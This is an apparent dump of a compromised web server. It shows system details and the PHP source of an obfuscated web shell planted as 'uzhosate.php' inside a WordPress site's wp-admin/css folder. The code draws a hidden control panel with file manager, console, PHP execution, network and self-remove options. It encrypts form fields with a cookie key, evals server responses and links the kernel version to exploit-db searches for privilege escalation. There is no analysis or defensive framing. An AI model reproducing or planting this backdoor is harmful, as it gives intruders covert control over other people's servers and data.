HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/domains/bannongsaischool.com/public_html/wp-admin/css/uzhosate.php
<?php
function qemvk() {
    if (empty($_POST['sftr'])) {
        $_POST['sftr'] = $GLOBALS['qthrifeg'];
    }

    global $hkrfopkafjq;

    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['sftr'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
    <style>
        body{background-color:#444;color:#e1e1e1;}
        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
        table.info{ color:#fff;background-color:#222; }
        span,h1,a{ color: $hkrfopkafjq !important; }
        span{ font-weight: bolder; }
        h1{ border-left:5px solid $hkrfopkafjq;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
        a{ text-decoration:none; }
        a:hover{ text-decoration:underline; }
        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea{ width:100%;height:300px; }
        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $hkrfopkafjq; font: 9pt Monospace,'Courier New'; }
        form{ margin:0px; }
        #toolsTbl{ text-align:center; }
        .toolsInp{ width: 300px }
        .main th{text-align:left;background-color:#5e5e5e;}
        .main tr:hover{background-color:#5e5e5e}
        .l1{background-color:#444}
        .l2{background-color:#333}
        pre{font-family:Courier,Monospace;}
    </style>
    <script>
        var c_ = '" . htmlspecialchars($GLOBALS['znpciraguli']) . "';
        var a_ = '" . htmlspecialchars(@$_POST['obkusp']) . "'
        var charset_ = '" . htmlspecialchars(@$_POST['sftr']) . "';
        var p1_ = '" . ((strpos(@$_POST['lsdee'], "\n") !== false) ? '' : htmlspecialchars($_POST['lsdee'], ENT_QUOTES)) . "';
        var p2_ = '" . ((strpos(@$_POST['dxxxrd'], "\n") !== false) ? '' : htmlspecialchars($_POST['dxxxrd'], ENT_QUOTES)) . "';
        var p3_ = '" . ((strpos(@$_POST['kvued'], "\n") !== false) ? '' : htmlspecialchars($_POST['kvued'], ENT_QUOTES)) . "';
        var d = document;

        function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
        function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
        function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}

        function set(a,c,p1,p2,p3,charset) {
            if(a!=null)d.qhv.obkusp.value=a;else d.qhv.obkusp.value=a_;
            if(c!=null)d.qhv.vlrso.value=c;else d.qhv.vlrso.value=c_;
            if(p1!=null)d.qhv.lsdee.value=p1;else d.qhv.lsdee.value=p1_;
            if(p2!=null)d.qhv.dxxxrd.value=p2;else d.qhv.dxxxrd.value=p2_;
            if(p3!=null)d.qhv.kvued.value=p3;else d.qhv.kvued.value=p3_;
            d.qhv.obkusp.value = encrypt(d.qhv.obkusp.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
            d.qhv.vlrso.value = encrypt(d.qhv.vlrso.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
            d.qhv.lsdee.value = encrypt(d.qhv.lsdee.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
            d.qhv.dxxxrd.value = encrypt(d.qhv.dxxxrd.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
            d.qhv.kvued.value = encrypt(d.qhv.kvued.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "hhaaknwc"] . "');
            if(charset!=null)d.qhv.sftr.value=charset;else d.qhv.sftr.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            d.qhv.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = 'ltnma=true';
            for(i=0;i<d.qhv.elements.length;i++)
                params += '&'+d.qhv.elements[i].name+'='+encodeURIComponent(d.qhv.elements[i].value);
            sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
        }
        function sr(url, params) {
            if (window.XMLHttpRequest)
                req = new XMLHttpRequest();
            else if (window.ActiveXObject)
                req = new ActiveXObject('Microsoft.XMLHTTP');
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open('POST', url, true);
                req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
                req.send(params);
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } else alert('Request error!');
        }
    </script>
    <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
    <form method=post name=qhv style='display:none;'>
        <input type=hidden name=obkusp>
        <input type=hidden name=vlrso>
        <input type=hidden name=lsdee>
        <input type=hidden name=dxxxrd>
        <input type=hidden name=kvued>
        <input type=hidden name=sftr>
    </form>";

    $hatriovc = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['znpciraguli']) : null;
    $gkgrhjlb = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['znpciraguli']) : null;
    $gkgrhjlb = $gkgrhjlb ? $gkgrhjlb : 1;
    $vplwtxaa = @php_uname('r');
    $pnpbxjottlm = @php_uname('s');
    $ejahupipxb = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $pnpbxjottlm) !== false) {
        $ejahupipxb .= urlencode('Linux Kernel ' . substr($vplwtxaa, 0, 6));
    } else {
        $ejahupipxb .= urlencode($pnpbxjottlm . ' ' . substr($vplwtxaa, 0, 3));
    }

    if (!function_exists('posix_getegid')) {
        $owkouy = @get_current_user();
        $vnnwmphvr = @getmyuid();
        $wzyzyp = @getmygid();
        $nbvlczqcv = "?";
    } else {

        $vnnwmphvr = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
        //$vnnwmphvr = @posix_getpwuid(posix_geteuid());

        $wzyzyp = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
        //$wzyzyp = @posix_getgrgid(posix_getegid());
        $owkouy = is_array($vnnwmphvr) ? $vnnwmphvr['name'] : '?';
        $vnnwmphvr = is_array($vnnwmphvr) ? $vnnwmphvr['uid'] : '?';
        $nbvlczqcv = is_array($wzyzyp) ? $wzyzyp['name'] : '?';
        $wzyzyp = is_array($wzyzyp) ? $wzyzyp['gid'] : '?';
    }

    $jrncaxdtgxh = '';
    $nrufsvxkk = explode("/", $GLOBALS['znpciraguli']);
    $vzlainot = count($nrufsvxkk);
    for ($jedprwvaef = 0; $jedprwvaef < $vzlainot - 1; $jedprwvaef++) {
        $jrncaxdtgxh .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($sssrygfjo = 0; $sssrygfjo <= $jedprwvaef; $sssrygfjo++) {
            $jrncaxdtgxh .= $nrufsvxkk[$sssrygfjo] . '/';
        }
        $jrncaxdtgxh .= "\")'>" . $nrufsvxkk[$jedprwvaef] . "/</a>";
    }

    $cwdsuu = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $ecwbircmj = '';
    foreach ($cwdsuu as $fnjjfyoak) {
        $ecwbircmj .= '<option value="' . $fnjjfyoak . '" ' . ($_POST['sftr'] == $fnjjfyoak ? 'selected' : '') . '>' . $fnjjfyoak . '</option>';
    }

    $qbxusamgwrfk = array(
        'Sec. Info' => 'SecInfo',
        'Files' => 'FilesMan',
        'Console' => 'Console',
        'Php' => 'Php',
        'String tools' => 'StringTools',
        'Network' => 'Network'
    );
    if (!empty($GLOBALS['nkvvcozmvcn'])) {
        $qbxusamgwrfk['Logout'] = 'Logout';
    }

    $qbxusamgwrfk['Self remove'] = 'SelfRemove';
    $lclabid = '';
    foreach ($qbxusamgwrfk as $hymjlldwtc => $egcoret) {
        $lclabid .= '<th width="' . (int)(100 / count($qbxusamgwrfk)) . '%">[ <a href="#" onclick="g(\'' . $egcoret . '\',null,\'\',\'\',\'\')">' . $hymjlldwtc . '</a> ]</th>';
    }

    $smsfiaenuy = "";
    if ($GLOBALS['ynkzirv'] == 'win') {
        foreach (range('c', 'z') as $ghyphpmogtkc) {
            if (is_dir($ghyphpmogtkc . ':\\')) {
                $smsfiaenuy .= '<a href="#" onclick="g(\'FilesMan\',\'' . $ghyphpmogtkc . ':/\')">[ ' . $ghyphpmogtkc . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['ynkzirv'] == 'win' ? '<br>Drives:' : '') . '</span></td>'
        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $ejahupipxb . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $vnnwmphvr . ' ( ' . $owkouy . ' ) <span>Group:</span> ' . $wzyzyp . ' ( ' . $nbvlczqcv . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['izzcswhnreyo'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . dbtcq($gkgrhjlb) . ' <span>Free:</span> ' . dbtcq($hatriovc) . ' (' . (int)($hatriovc / $gkgrhjlb * 100) . '%)<br>' . $jrncaxdtgxh . ' ' . qwzgk($GLOBALS['znpciraguli']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['qwzlfgax'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $smsfiaenuy . '</td>'
        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $ecwbircmj . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $lclabid . '</tr></table><div style="margin:5">';
}